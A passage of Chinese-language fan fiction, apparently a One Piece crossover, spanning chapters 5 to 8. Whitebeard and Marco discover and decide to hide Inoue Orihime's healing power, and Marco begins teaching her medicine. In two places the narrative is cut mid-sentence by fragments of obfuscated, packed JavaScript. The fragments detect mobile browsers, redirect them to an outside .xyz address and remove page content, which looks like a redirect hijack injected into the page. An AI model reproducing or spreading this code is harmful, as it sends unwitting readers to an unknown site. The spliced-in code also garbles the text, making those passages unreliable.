小姑娘看他们的眼神全都变了，是他瞧不明白的亮晶晶的式样。 再抬头，顺着织姬的目光看向了坐在空地边缘和村长在说话的老爹，那孩子的眼神果然很怪。 ——是奥特之父！ ——白胡子爷爷是奥特之父！ 井上织姬如此想到。 目光顺着白胡子的向上弯起来的月牙胡子看了一遍又一遍，脑袋里也被奥特之父的样子给刷了屏。 月牙胡子和大弯角一模一样！ 真相只有一个！那就是，白胡子爷爷真的是奥特之父啊！！ 由于各种出门玩的爱好都要额外花钱，于是，童年的业余时间全都靠电视节目上的特摄剧给占去，织姬几乎瞬间就把眼前的海贼叔叔们和自己知道的奥特曼给扯上了关系，甚至越看越像。 就像马尔科，会飞，会着（发）火（光），不是光之战士是什么！？ 小跟屁虫亦步亦趋跟着眼熟的队长们跑来跑去。 几位队长级别的人物更是不含糊，总共就这么大一点儿空地，愣是溜达得要把野草踩平踩出来路。 一大一小在老爹面前走了第十几二十遍的时候，白胡子扶额：“这是干什么？” 稳重靠谱的船医马尔科说道：“孔雀开屏炫耀妹妹，吧。” 尽管新来的织姬妹妹管他们叫叔叔，但不影响他们自己改一下辈分。 老爹：“……” 儿子们都挺好，就是偶尔看起来不大聪明。 这么想着，白胡子看见身边的马尔科也站了起来：“我去帮港口那边搬搬东西。” 刚刚拔腿迈步的时候，身后面就坠上了个橘黄色的小毛头。 “马尔科，有我可以帮忙的地方吗？” 人小力气小的织姬有着雄心壮志，而马尔科也没打算拒绝。 “跟上来，我给你再给你讲讲四海上的故事吧，反正离宴会还早。” 除了浆果之外，其他物资都要显得过于贫瘠的小岛上也是难得多了点儿活力劲儿，马尔科帮着开商店的婆婆办了两趟装了货物的箱子到架子上。 之前被马尔科纠正过说那个橘色头发的小姑娘不是女儿是妹妹，老婆婆从善如流，改口说着小妹妹长得真水灵，还给她塞了一小把浆果糖。 没好意思直接伸手收下，她看着马尔科，直到这个人点头了，织姬才甜甜地说了谢谢婆婆。 炫耀妹妹在船员面前炫耀未免也太无趣了，要这么做，当然是要让外人知道嘛。 马尔科带着织姬跑了小半个码头，最后还是织姬体力跟不上了，两个人坐在了靠码头的唯一一家小餐厅的外面的座位上。 “甜甜冰沙，加双倍奶油和浆果果酱。”马尔科给织姬点了一份点心。 小姑娘总是温吞乖巧，说着想要留在船上帮忙了，但是很显然，心态还没有转变过来，对于接受别人好意的时候，还会更在意身边人的看法。 她原来是生活在一个很在意他人意见的场合中吗？ 马尔科想着，又想到自己认识的为数不多的那几个和之国的人。 嗯…… 御田不是那种性格，时也不是，以藏留下来之后更是和他们能打成一片。 织姬是完全没有接触过的小孩子类型呢。 “织姬，想要做什么直接去做就好了。” “家人之间不需要看脸色的。” 岛上多了莫比迪克号这大几千号人，瞬间热闹了好几倍，有人准备去岛里面的山上去找找木材，作为后面要修葺船只的储备，路过这家店都会和马尔科还有新妹妹打声招呼。 马尔科就在这种算得上喧嚣的动静里，徐徐缓缓说着：“织姬妹妹也听见过很多次了吧，我们喊我们的船长叫做老爹。” 他说，因为老爹说过，船上的大家都是他的孩子。 “我们是兄妹哦，织姬。”他看起来闲适悠哉，“家人之间不用讲究那么多的。” 都是白胡子爷爷的孩子，也就是说，大家其实都是哥哥姐姐？ “哥哥？” 哥哥…… 织姬喃喃念着。 一声又一声。 哥哥！ 不是叔叔不是白胡子爷爷，是哥哥姐姐们，是真的家长，是老爹！ 或许马尔科并不知道自己说的话有什么样的重量，但他有眼睛，能看见眼前的小姑娘不过是眨眼间就又变成了泪眼汪汪的模样。 从看起来就好吃的香甜的橙子，变成了丑橘，但是也很甜就是了。 “啊。” 在船上待久了，有点想吃水果了。 马尔科仰头看了看天，琢磨着让萨奇在临走的时候记得多采购点浆果放着，这座岛上的浆果晾成果干都好吃。 还而一旁的小妹终于把直打转的眼泪给憋了回去，柔软又普通的女孩认真挖着冰沙在吃，对待食物的样子很认真。 等全部吃完之后，井上织姬才用端正且又用十二分认真地态度开口：“我会帮上忙的！” 她说，“我会成为一样厉害的奥特曼，都是白胡子老爹的孩子，我会赶上哥哥姐姐们的！” 个子小小，但是志气不小。 要赶上队长级的实力那可真是厉害啊。 虽然织姬说的那什么man的没听到，可能是和之国的什么特色称呼吧，以藏才出来的时候也经常会说奇怪的话。 马尔科对年轻孩子的志气报以乐观的注视。 他看着织姬摸摸发卡，又摸向口袋，拿出装着贝利的小袋子。 ——开始这孩子还不乐意拿零花钱，后来还是半哄着说是前半个月她给护士小姐们打下手的工资，才让她收下。 小孩自己付掉了冰沙的钱，听着马尔科在说的那些。 和以藏哥哥那种一本正经的科普不一样，马尔科这是用懒散的调子在讲故事。 以藏只解释过什么是海贼王，但马尔科说了白胡子和罗杰曾经也是打来打去的死对头关系，他还会说他们船上和罗杰船上的船员关系是不打不相识，罗杰船上还有俩实习生小鬼可讨厌了，闹腾又幼稚，宴会上赶来白胡子这边的火上抢肉吃。 是很生动的海上生活的刻画。 听得津津有味的织姬，在天黑后去宴会的时候，都有些困了。 因为久违踏上陆地所以有些兴奋，小孩子本来就精力旺盛但体力差，昏昏欲睡之余，还因为从来没有吃过海王类，被香得迷糊了，撑着眼皮子在眼巴巴往火上架着的烤肉在看。 海王类虽然是水生生物，但吃起来却不是鱼类，而是肉类的口感。 两块大块的肉串一吃就已经饱了，萨奇特指的果酱煎肉饼也就只吃了超小份的一份。 宴会还没有过半，小家伙就已经靠在了边上，眼皮子打架，织姬的位置就在白胡子的边上，本来就小的个子在将近七米的老爹的衬托下，完全就是巴掌那样的大小。 两个人坐得也并不靠近宴会的中心，就这样安安静静的看着，气氛倒也温馨和睦。 很轻的拽着衣服摆的动静让白胡子侧目。 新上船的小女儿做什么都很轻，这让白胡子又想起来了自己那天发现她时的情况。 海里面海鱼大概都能比井上织姬这孩子的气息要扑腾得更激烈一些，她连呼吸都轻，脆弱地活像一片羽毛。 虽然会觉得这孩子并不适合在海上的漂泊，但白胡子也不会拒绝孩子们的依靠。 “织姬？”他喊了一声。 “老爹！” 瞌睡虫散开了一点，织姬语气欢快地喊着这个对于她来说实在是有些新奇了的称呼。 声音不大，但对于三色霸气都精通的老人而言，这可算不上什么，再轻一点，他都能听清。 白胡子看着这个女孩用柔软的孺慕 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橙色的光芒在虹膜上一闪即逝，但确确实实的，白胡子确定自己有看见，两个小人刚刚绕过自己面前。 织姬开口：“我，拒绝。” - 这个笨蛋！ 似乎听见了这样的声音。 眼皮好像也更重了，井上织姬站着的身体都开始摇摇晃晃。 “马尔科？” 刚刚要往后摔到，她就被一双宽大温厚的手给扶住肩膀，织姬看着夜风中晃了两下的菠萝叶子，露出一个大大的笑容。 而下一瞬间，白胡子开口：“带你的妹妹回船上去休息，立刻！” 声音不大，但不容拒绝。 逐步迈向衰老但他也依然是世界上最强的那个男人，白胡子依然清明威严的眼睛一寸一寸扫过了在场还在沉浸于宴会的所有人。 这份能力…… 哪怕是传说中手术果实也不能直接做到的。 顶尖的强者当然对于身体的变化是了如指掌，尤其是他能清晰察觉到旧伤在衰败的如今，更能清晰地感受到什么叫做久旱逢甘霖的抚慰。 而知道这份能力来自于眼前女孩的时候，在发现那孩子的能力不只是能用‘治疗’来描述的时候…… 白胡子能感觉到，半生时间带来的疼痛像是被摁了倒退键，不是变好了，而是直接消失。 他知道了，当父亲的，需要给女儿最好最严密的保护——那孩子的能力如果被人知道，带来的只会有抢夺追杀。 好的医者哪怕在战乱中都会受到尊敬，但是好到能让枯木逢春的能力，就会变成祸端。 没有人注意到这个角落。 对于大家来说，这只不过是人生中又一次不大不小的宴会，所有人嬉闹着在喝酒吃肉，一如往常。 神色如常的马尔科抱着呼呼大睡的怀里的小孩。 以藏：“马尔科？” 马尔科摆摆手：“织姬妹妹睡着了，我送她回房间。” 一步一步，走得稳重又没有颠簸。 马尔科队长完全有了哥哥样了啊哈哈哈哈哈哈—— 这样的笑声不绝于耳。 直到回了莫比迪克号上，远离了喧嚣之后，马尔科才发现自己的手臂似乎都起了鸡皮疙瘩。 他把女孩送回了房间。 关门的时候，摇摇头，想到自己刚刚惊鸿一瞥的，老爹身前的伤疤全都消失殆尽的画面——他是船医，而老爹本来就不听医嘱，需要他这个当儿子的时不时看着别过量喝酒，这才有了那目睹奇迹的瞬间。 ——还好她决定要留在船上。 这个世界不会让有着这样能力的人能有安稳的人生，恰好，白胡子海贼团是有能力护着她的那个势力。 对于现在过分混乱的世道，织姬就是典型的，怀璧其罪。 还好，是他们先发现了，趁着别人不知道的时候，要守好这个秘密才行，哪怕是船上的兄弟们，也最好不要知道这一点。 几千人的大船团，而他可就这么一个刚认识的妹妹。 要保护好才行么！ 他轻手轻脚关上了门。 “教导要提上日程了。” “现在这个情况，至少也得要有在海王类巢穴里也能全身而退的能力，才能保护好自己吧。” “还要告诉织姬妹妹，不管出什么事，哪怕在船上也不能用这种能力！” 船医揉了揉头发，又想到显然看起来是同理心格外强的软绵绵的妹妹，又继续叹了口气。 还有医术。 以防万一，好歹学了，还能用医术特别好的这点来遮掩一番。 - 尚且不知道自己的行为是透支了那能够动用的微量的灵力，织姬做了个混乱的梦。 半梦半醒之余，耳边还都是什么，说她笨蛋的话语，说她太没有警惕心了的话。 好过分啊！ 蹙着眉，织姬卷着被子翻了个身。 不是太轻易。 是要对老爹表达感谢。 她已经好久好久没有见过爸爸了，老爹的存在对井上织姬来说，有着无可替代的意义。 不是轻信。 因为是老爹啊，是爸爸啊。 就像她以前幻想中的爸爸那样，有点严肃，但是是爸爸！ 女儿帮大人做自己能做到的事情，是应该的！ 一根筋轴着的小姑娘，这会儿连睡觉都直接睡成了气呼呼的样子。 就算说我的声音是马尔科，那也很过分！ 月光照在她的脸上，气呼呼的脸也逐渐恢复了平静。 “……” “……” “哎……” 6. 第 6 章 宴会的后遗症，就是第二天太阳上山跃出了海平面，瘫了一空地的海贼和村民们，没一个是能按照生物钟正常睡醒了的。 昨天宴会开到后半夜，除了习惯早睡早起的老人以及熬不住夜的小孩子，岛上基本所有的青壮也都跟着参与了进来。 对于他们来说，白胡子海贼团是很亲切的海贼团，再借由酒精来一渲染，气氛自然而然地就热切了起来。 酒一桶一桶从酿酒的酒窖里搬出来，足够全岛人喝得酩酊大醉的酒桶让勉强还有意识的商行大叔脸色微白。 那是要拿出去卖的酒啊！ 这样的话还没开口，就摆在了库哈哈哈笑着的白胡子的一挥手底下——很有眼力见儿的船员从口袋里掏出了一大袋带着金币和贝利的袋子，那可是足够买下岛上全年酒水产出的价钱。 “老爹难得能喝到这么合心意的酒，马尔科队长又哄妹妹去睡了没人管，开喝开喝，我们付钱的！” 身为海贼，但是乖乖付账。 村民里，最后一波还抱着警惕心的人终于放下了地方，把酒窖里的酒桶给全都半空。 咕噜咕噜喝着酒的白胡子船长，眼底却是一片清明的。 他年岁逐渐大了是没错，但还不到瞧着天黑了就急着休息的年纪，他看着热闹开着宴会的小辈们。 先是少有能一次性喝掉这么多酒的村民，再是船上少数几个酒量不好的孩子们，再到其他人。 倒下的人逐渐增加，都睡过去的时候，天甚至都已经蒙上了一层灰白色的光亮。 白胡子静静坐着，过了好一会儿，才仰头一口气喝掉了手里最后的酒，稳重的步子一步一步迈向了安静停靠在岸边的莫比迪克号上。 船头，马尔科蹲在那儿，吹了大半宿的冷风，他勉强算是恢复了一点儿一番队队长该有的冷静理智。 奈何，突然发现的织姬的能力实在是叫人惊讶。 知道老爹是要和自己聊一下关于织姬的事情，可是马尔科试着开口了好几下，嘴唇动着，但是一时又想不出来要从哪个角度先开这个口。 很难。 他想着。 井上织姬也不过上船两周左右，仅仅只是惊鸿一瞥的能力就已经足够惊人，留在船上的她是自己人，但是直接询问和剖析那孩子的能力，都是一件逾矩的有些艰难的事情。 “马尔科，那个能力不一般。” 白胡子指出了这一点。 身为船长身为第一个发现了织姬的人，白胡子比马尔科更清楚的知道那孩子到底独特在那里。 “我们是在海里找到她的。” 他说，“那孩子不是恶魔果实能力者。” 因为太显而易见了，所以，这一点反而下意识被马尔科给忽略了过去。 他猛地愣在了那里，过往半个月里，船上时常会举行的钓海兽大赛，溅起的浪花有时候能比莫比迪克号还要高，那孩子反应能力还不够快，时常能被劈头盖脸浇上一身的海水，护士小姐们挥着船员们碎碎念着，小姑娘反而腼腆着揉着头发在笑，不见难受的样子。 因为反应太寻常，所以反而不会成为关键时刻被想起来的关键一点，直到现在，才让他不由得开始感到惊骇。 那还不如是吃了恶魔果实才好。 马尔科这样想道。 就像他的不死鸟果实，不会灼烧人的火炎也有着疗愈伤口的功效。 果实的能力全看食用者的开发，但治愈系的实在是少之又少，有专门的治愈果实，是可以抽取生命力治疗他人的一种恶魔果实，也还有其他的。 其中最有名的…… 自然是手术果实。 传说中，能做出永生手术的果实。 如果那治愈人的能力如果不是来自于恶魔果实—— 马尔科忍不住做出了这样的假设。 他在想，织姬的能力能做到什么程度？他假设海军海贼知道了有一个人拥有着这样的能力，不怕海浪，只是本身就有着可以治愈伤痕的能力的人，那意味着什么？ 没有漏洞，没有缺点。 要么死，要么被掌控。 哪怕能力本身不带杀伤力，无疑，这也是能颠覆局势的大杀器。 联想到世界政府这些年隐隐传出来了新的动静，好像有涉及到人体实验的部分，越想就越容易心惊。 他知道，这必须得是一个保守到密不透风的秘密，不能有什么闪失。 “织姬吃了果实。” 白胡子垂眸，看着甲板许久，最后一锤定音。 “马尔科，后面注意着海上关于治愈果实还有手术果实的消息。”他说，“织姬吃了果实，只有这样才行。” 有弱点有缺陷，才能让人放心。 至于那两颗果实本身？船上少有人会对恶魔果实感兴趣，尤其是并不能成为战斗前锋助力的那种。 要是能找到那两颗恶魔果实的踪迹，他们也才能确保说织姬吃了恶魔果实才获得能力的这件事情，不会被拆穿戳破。 要知道，像是织姬那样使用之后只是累了睡过去了的能力，已经堪称是没有代价的神力。 白胡子清楚地明白，这种能力无论给海上哪一方势力知道，都会因为争夺她的‘所有权’，从而闹出天大的风波。 但，如果只是果实带来的能力，无非是等食用者死去，果实又会出现在大海的某一处罢了，所有人都有机会获得的能力，反而才是一种安全。 这一瞬间，白胡子也忍不住心想着，还好，那孩子上的是他的船。 “我姑且还能给那孩子当上几十年的遮阳伞，如果没有保守好秘密，还有我在。”他放声笑到，“马尔科，要照顾好妹妹啊。” 虚虚攥了一下拳头，马尔科站起身子伸了个懒腰，从船头跳到了甲板，身姿轻盈。 就像井上织姬称呼过的那样，他可以是成为引领方向的青鸟，当然，要是那孩子能意识到不死鸟和青鸟并非同一物种就更好了。 “那是当然啊，老爹，我前面也才刚决定好了，还要教那孩子去当个医生，这也是个遮掩。” 马尔科笑着看太阳从海平面彻底跃出，明亮的晨光照耀在甲板上。 “织姬那孩子可是船上最小的妹妹啊——” 吱呀—— 推开船舱木门的声音并不明显。 揉着眼睛刚刚睡醒的井上织姬一眼就看到了甲板上的两人，她露出大大的笑容，挥挥手：“老爹，马尔科！” 等着所有人睡着才聊了一会儿关于这孩子的敏感话题，眼见着当事人醒了，却不知道自己做出了什么了不得的大事的女孩啪嗒啪嗒跑了过来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050871|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 橙色的头发和朝阳一样的夺目。 马尔科正想要笑，又立刻板起了脸。 他不适合当这个严肃的角色，尤其是看织姬瞬间犹豫起来的脚步，神色也立刻放缓了不少。 这孩子有点儿太会看脸色了啊。 “织姬。”他说，“从今天开始，你要跟着我学医术吗？” 马尔科问得认真，“拒绝也没有关系，织姬，选择权在你。” 医生？ 诶！！！ 我吗！ 在日本，医生或许是最光鲜的那一档的职业了。 政治家的孩子是政治家，律师的孩子会是律师，医生家的孩子也会是医生，似乎和家传渊源扯上的职业，和想要保持着积极且正常的日常生活的井上兄妹，向来是没什么关系的。 井上织姬不明白这么受人尊敬的职业怎么会和自己扯上关系，但要是说想不想当医生的话…… 她想起来了那长又干净的白大褂，又想着，医生是可以守护保护他人不需要再继续承受伤痛的伟大职业。 只是短短的几秒而已，织姬的小脑袋瓜里一下子迸出了很多很多画面。 她好像也治疗过谁，很久很久以前，她也曾看着哥哥受伤自己却又什么做不到。 想要能够保护喜欢的人，想要帮助在意的人…… 井上织姬茫然往前伸出手。 下意识地，马尔科伸手让她牵住。 是柔软弱小的孩子的手，马尔科张大眼睛——这难道就是，妹妹的撒娇！？ “马尔科，当医生了的话，我是不是就能好好帮助大家了？”她问。 “当然。” 船医毫不犹豫地点头，他说，“你问问船上那群臭小子，谁敢说我没帮过他们！？” 嘛，当然，捆起来超痛屁股针，又或者无麻醉缝合之类的事情，那也是为他们好啊，要让那群下次不要命就往前冲的混蛋们长长记性，这可是来自船医的良苦用心。 她眼中含着期颐的光，似乎又更亮了一些：“我也可以当医生的，是吗？” 尚且还不知道当医生要付出什么样的脑力和多少脑细胞，她对自己期待会有的‘未来’充满憧憬。 ——自信心不足可不好。 暗叹着想，织姬妹妹这个性格可太软乎了，当海贼可不能这样哇。 好在他们还有时间，这些细枝末节还可以慢慢矫正。 “那当然。” 他揉着这孩子的头发：“小公主，这片大海是最自由的，只要是你想做的事情，没什么是不被包容不被同意的事情。” 马尔科道，只要是你选择的，都可以去大胆地去做！ “我想要当医生！” 织姬握着他的手指，声音难得放了很大，“我想要当能守护大家的那种医生！” 难得清脆又响亮的声音落在甲板上，听着白胡子老爹因为她的话而笑出来的声音，井上织姬又因为羞赧开始低下头。 脸和耳朵都变得红扑扑的，也不知道是阳光还是头发颜色的映照。 要是不要再有人受伤就好了。 要是能不要再留下我一个人就好了。 如果当医生了的话，可以更好地帮助同伴们的话。 是不是我就会距离这个愿望，又变得更近一些？ 7. 第 7 章 “所以，织姬妹妹现在是我的弟子了。” 等宴会之后的宿醉终于散开之后，以藏就被迫迎面接受了这个天大的糟糕透了的消息。 拎着双枪就要找面前那个一本正经的菠萝头算账，结果才刚站起来，就被劝和的萨奇给箍住了两条胳膊："消消气，消消气。" “是学医术，又不是和马尔科学打架，你又教不会织姬妹妹怎么当医生！” 要制住一个队长级的人物可实在算不算容易。 诶，你猜怎么着？萨奇也是个队长级。 一边劝架，萨奇一边掀开嘴皮叭叭说着：“马尔科这学医学得也就剩那几片菠萝叶子了，让让他吧。” 马尔科：“……” 总觉得被嘲讽了发际线的船医先生冷漠地想，你下次敢受伤来医务室，别想再开到麻醉镇痛药了。 呵。 冷漠的一番队队长，对四番队队长竖起了冷漠的中指。 臭小子！ 脑门瞬间被气得给蹦出了青筋，萨奇扯着嘴角：“哈——” 以藏侧头，眼见着萨奇也要挥着拳头过去声讨，于是眼疾手快，一把箍住了萨奇的胳膊：“让让他吧，不然哪里给织姬妹妹再找个医生老师！！” 船上会点保命小技能的不在少数，正儿八经的船医可就这么一个在，气死他没好处。 “啧。” “啧。” 萨奇和马尔科互相瞪了一眼，头一扭，走开。 船医和厨子在船上可是最不能得罪的两个人，左右看了几眼，其他人选择不掺和这种幼稚鬼吵架当中。 大家其实都对织姬会跟着马尔科学医这件事接受良好，那孩子本来就会跟着护士小姐们在帮忙，但船上也并不是很忙——护士小姐们主要还是围绕着老爹的身体护养。 也因此，织姬每天最重要的任务，就是看着老爹别大幅度抬手，免得又把挂点滴的针头给撅了。 船上大家都知道的，老爹对孩子们最是没有办法，船员们的阻止，他还能忽略上两句，但要轮到织姬出场的话，老爹就只剩下无奈。 小姑娘还挺会自己想主意，生怕怠慢了船长的疗程，也是真的‘盯——’了全程，最后直接挨着白胡子的手臂睡着了。 这个年纪的孩子向来是觉多的，那个如今海上最强的男人愣是保持着一个姿势动都不动地坐了全程，直到织姬脑袋直点，把自己给颠醒了，又惊喜地看着船长的点滴已经挂到了最后阶段。 如今，并不知道自家老爹身上已经伤痛全消，船员们还笑哈哈地朝着织姬打气道：“老爹的健康就交托给你了啊织姬妹妹！” 总觉得自己好像很少被人委托以真正意义上的重任，其实还没有对自己接下来要做什么有个彻底的概念，井上织姬就已经打起了精神，说：“我会努力的！我会成为船上的最好的医生的！” “不愧是我的女儿。” 老爹点点头，“有志气！” 以藏更是直笑，胳膊肘捅了下身边的马尔科：“怎么办，要被织姬妹妹给顶下岗了？” “啊。”马尔科扯了下嘴角。 “说不定真的可以呢。” 他看了眼老爹边上的挂着点滴的架子，软管延伸着垂下，连接的针头被医用胶带固定在了他血管分明的手背上。 老爹现在的身体素质，怕是和巅峰时期差不到哪里去，而马尔科亲自给挂上去的药水，更只是普通到不行的生理盐水。 这是做戏，哪怕目前船上都是自家船员，但白胡子和马尔科也还是决定这么做了。 减少任何可能的会产生的怀疑，这也是一种保护措施。 莫比迪克号的甲板上，船员们来来往往，不少是要多在岛上去搬些木材放进去货舱，以防在新世界里遇上个极端天气，船身需要修补。 把岛上的陈酿全都给喝了个干净，留下来的钱是够了，但是船上的酒却还没有得到补充。 于是，又分出来两只小队，上了岛去帮忙村民们去采摘这一季的浆果，还有一队在临时学着做橡木酒桶，这是准备直接现酿了。 酿酒对于湿度和温度也是很有讲究的，萨奇也带着人去把储酒的货舱专门隔出来了一个房间，单独的防水和隔温层都备好了，专门准备存放这一批酒水。 船大的好处就是在这里——功能多房间多，光是放酒的空间里，就能放上百十桶的大橡木桶。 岛上那个年纪最大的但是很慈祥的老婆婆还给织姬送了一串编织手串，点缀着干花，上面还散发着浆果岛特有的酸酸甜甜的味道。 酿酒那可都是独门技术，岛上的人却也没有藏私，摘完了当季的甜浆果之后，直接手把手教着白胡子海贼团的船员们怎么把它们放到桶里，又需要经由什么样的步骤，要过多长时间，才能发酵成口感顺滑的酒。 距离船只再次航行，还会有一段时间。 而在这段等待大家把酒给储备好的等待的时间段里，织姬也开始了她的学习生涯。 - 学习本来并不会是特别让人难以接受的事情，至少年纪前三名的井上织姬，原本会是这样认为的。 但是学医和普通的学习，似乎就已经是两个级别的事情了。 马尔科不是能当好老师的料子，他自己其实也知道这一点，所以在准备教学的时候，还特地让护士小姐们跟着过来一起，那几位女士可比他要更擅长和女孩相处，她们还基本都是正经医学院出身，还能现场给他一个参考，让他知道讲解的部分有没有直接超纲。 ——这个世道，医生可不是多好当的。 大海上分部着那么多的岛屿，又有那么多的国家，国与国直接各有各的底细，文化传统更是千奇百怪，医疗体系也各有各的不同。 有些岛屿有些国家，甚至都没有真正的医学院，能认识一些草药，说不定就能是当地的备受追捧的医师。 太多好的出名的医生，可能都是自己自学，又或者是有着这样的家学渊源。 因为跟着老爹几乎走遍了大海，马尔科因此在各国各地看了太多的医书，才不成体系地有了如今的医术，算得上半自学到如今，他也不得不承认，学医是一件门槛很高的事情。 在又一次的，护士小姐抬着针筒气势汹汹说：“我们家小公主都还没有入门，马尔科医生你就想直接跳到了要开始解剖课，过分了啊！！” ——看，我是真的不太会教学。 马尔科有点儿头疼。 放话说想要教织姬学医的是他，结果先懵了的也是他…… 反观说要当医生的织姬？ 井上织姬在校期间的考试成绩一直很好，其中自然也包括了英语。 隐隐约约记得自己应该有念到高中，但是，井上织姬还不是能无障碍读写英语的程度。 马尔科已经在尽力不去涉及太多余复杂的属于，但是在课题歪到解剖上面的时候，身体器官的名字就已经绕得织姬眼睛直转。 更别说马尔科还聊到了手术相关的话题，哪里受伤，用什么样的手术手法，虽然话题已经超纲，但这也已经是他去想着医学院里会有正经术语在说的内容。 成功更晕乎了的井上织姬，奋笔疾书，虽然还不能理解，但也全都给写了下来，准备之后再自己复习去吃透这些词，去明白其中的意思。 “……我想，我们可以稍微改一下计划。” 这样的日子持续了半周，马尔科想到。 他可以是个好哥哥，要是战斗方面，马尔科说不定也是个好师父，但是在医书方面，他只是个好医生，却很难成为一个好老师。 护士小姐们那边，倒是进度不错。 在教那孩子认血管，怎么扎针打针呢！ 还有不少厚脸皮的混小子主动撸着袖子凑过来，说可以当教学的试验品，被针扎得嗷嗷叫，还一个比一个踊跃，闹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050872|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织姬妹妹紧张到扎错地方了，他们还能喊可爱。 然后又被举着半个人大的针筒的护士小姐们给追得满甲板乱跑。 井上织姬像是刚刚接触水的海绵，在以全部的力气去洗手周围所有能够吸收的一切。 哪怕不能吸收的那些知识，也都被她揽在了身边，在试图消化，试图理解。 因为太努力了，以至于马尔科都产生了‘啊是我太懈怠’了的感叹。 而且…… 时机也正好有点巧。 他放下了手里面的电话虫，走向了船长的房间。 “老爹。”马尔科压低声音，他说，“有手术果实的消息。” 四海之上，有很多海贼团都附属于白胡子麾下，平日里都是各自活动的状态，但必要的时候，大家会集结起来，成为最严实缜密的那一张网——也可以是信息网。 在绝对能信得过的名单里面，马尔科拜托了附属海贼团的大家，帮忙留意了一下海上有没有新的恶魔果实的消息。 没有指名道姓说是哪一种，而是提到了船上来了个新人，但是武力值不够，她或许会需要一颗恶魔果实。 白胡子手下的恶魔果实能力者不少，虽然说真正的强者无需果实能力，有时候吃了反而还平添烦恼，但有额外有一份能力，也可以是锦上添花。 大家从马尔科形容的‘她’字里面，发出了一阵调侃，在听见马尔科说人才七八岁的时候，瞬间又变成了另一种‘你女儿都这么大了啊’的惊叹。 尽管解释了也没人听，但至少应下了马尔科的请求的大家，也都在各自打听着消息。 ——老爹那儿新来个孩子，现在是马尔科在养，在超级认真养哦，都舍不得训练，直接开始找果实了！ 传来传去的消息，传说中的‘孩子’，一会儿是老爹新收的孩子，一会儿是马尔科自己养了个小孩，要多离谱有多离谱。 当事人的织姬却还一无所觉。 直到没几天之后的现在，马尔科接到了一个通信。 对方说，北海这边倒是有一颗恶魔果实的消息，是一颗心形的果子，光是适合女孩子。 只是他们海贼团没能及时拿到，那颗果实现在在迪埃斯·巴雷鲁斯海贼团手里。 而位置么，是北海。 稍微有点儿远，但是四海比起伟大航路来，其实是更和平一些的海域，其中东海则是相对比下最平静的那一片。 但要是对比着新世界，北海也就只是小学级别的难度。 马尔科挠了挠头发，看着老爹现在气色已经都好得不得了的脸。 “北海那边应该会有更合理些的医疗体系。”他说，“我想带织姬去一趟。” “顺便买些入门用的医书。” 白胡子：“这是远行之前还要征求父亲的同意吗，马尔科？” 他摇头：“不，只是想提醒您一声，就算现在没什么事儿，酒也不能多喝啊老爹！” 就这么做下了决定，甚至用不了多大的决心。 这也不过就是当父亲的和当哥哥的一次再普通不过的谈话罢了。 而刚知道这个决定的小妹？ 井上织姬:“……北海？” “就是那个海上战士索拉的故乡吗！！！” 小姑娘这会儿是真的眼冒精光了，还眼巴巴地瞅着马尔科。 “想去！” “马尔科，我想去！” 那可是北海诶！！！ 井上织姬已经把手里有的漫画给翻来覆去看了好多遍了，越看越是喜欢，她实在是憋不住这份激动。 “……我去了还是会先学习再看海的！” 冷静了两秒，织姬试图补救一下自己的失礼。 “还可以买全套单行本，要不要？” “马尔科哥哥，真的可以给我嘛！” 没忍住，马尔科捂嘴闷笑了一声——还是个小鬼呢。 8. 第 8 章 决定去北海也不是脑袋一拍就要立刻出发的事情，本来停留在甜浆果岛上就是为了补给，现在还要额外再分出来一条小船去四海那边，额外的行李也还是要再准备上一份。 船医要暂时离开一段时间的消息飞快地席卷了整艘莫比迪克号，但大家的反应也都是见怪不怪——好吧，如果是马尔科要出门确实有点儿奇怪，但也就奇怪那么两分钟而已。 一般情况下，有需要船员单独出巡的情况，要么就是个别的自己有事，要么就是麾下其他的海贼团发来了求助信号，事情不大的，基本队长带领各自小队出发，大一点儿的，就是整船出发。 近些年来，眼看着老爹的身体状况逐渐脱离巅峰时期的强壮，身为船医的马尔科基本就没有离开主船的时候，如今这样，倒也难得。 一问要出门的原因？ 哦！原来是去四海各处逛逛，去看看适合织姬妹妹的医书，顺便看看和平海域的医疗系统的发展。 ——马尔科真的越来越像是只鸟妈妈了诶！ 背后蛐蛐船医的某些知名不具船员们，都被暗戳戳记了名单，那张名单又被护士小姐们妥帖地收好，表示要是他们来医务室的电话，要药品就会给假苦味剂，要疗伤就绝对没有镇痛药，保证完成任务。 只是自觉把自己放在了哥哥位置上的某位十六番队队长，就不是那么开心了。 “衣服我这边和岛上的人家借了针线和缝纫机，重新改了几套衣服给你，春夏秋冬的衣服都有哦。” 以藏一边咬牙切齿，一边如此对井上织姬说道。 手里动作更是不停地往包裹里塞东西。 从小学习舞蹈以以技艺维生，船上以藏的审美可以说是秒杀了一大票大老爷们，几件衣服改成了织姬能穿的尺寸，都看不出来这是额外缝制过的款式。 以和服为主，再靠护士小姐们提供的衣裙为辅，风格混拼的衣服也给改出来几件，再加上岛上买来的款式算不得新潮的小裙子，至少织姬一天换一件，都能穿到下个月。 “食物的话，萨奇那边有在加急做一些海兽肉干，主食为了方便携带只能带干粮类了。”他伸手给织姬整理了一下衣领。 药品那边马尔科会准备，以藏说，自己这个医药方面的外行还是不插手这一大一小两位医生的准备工作了。 “当然，还有最重要的！” 弯起眼睛，以藏把一个大袋子交到井上织姬的手里。 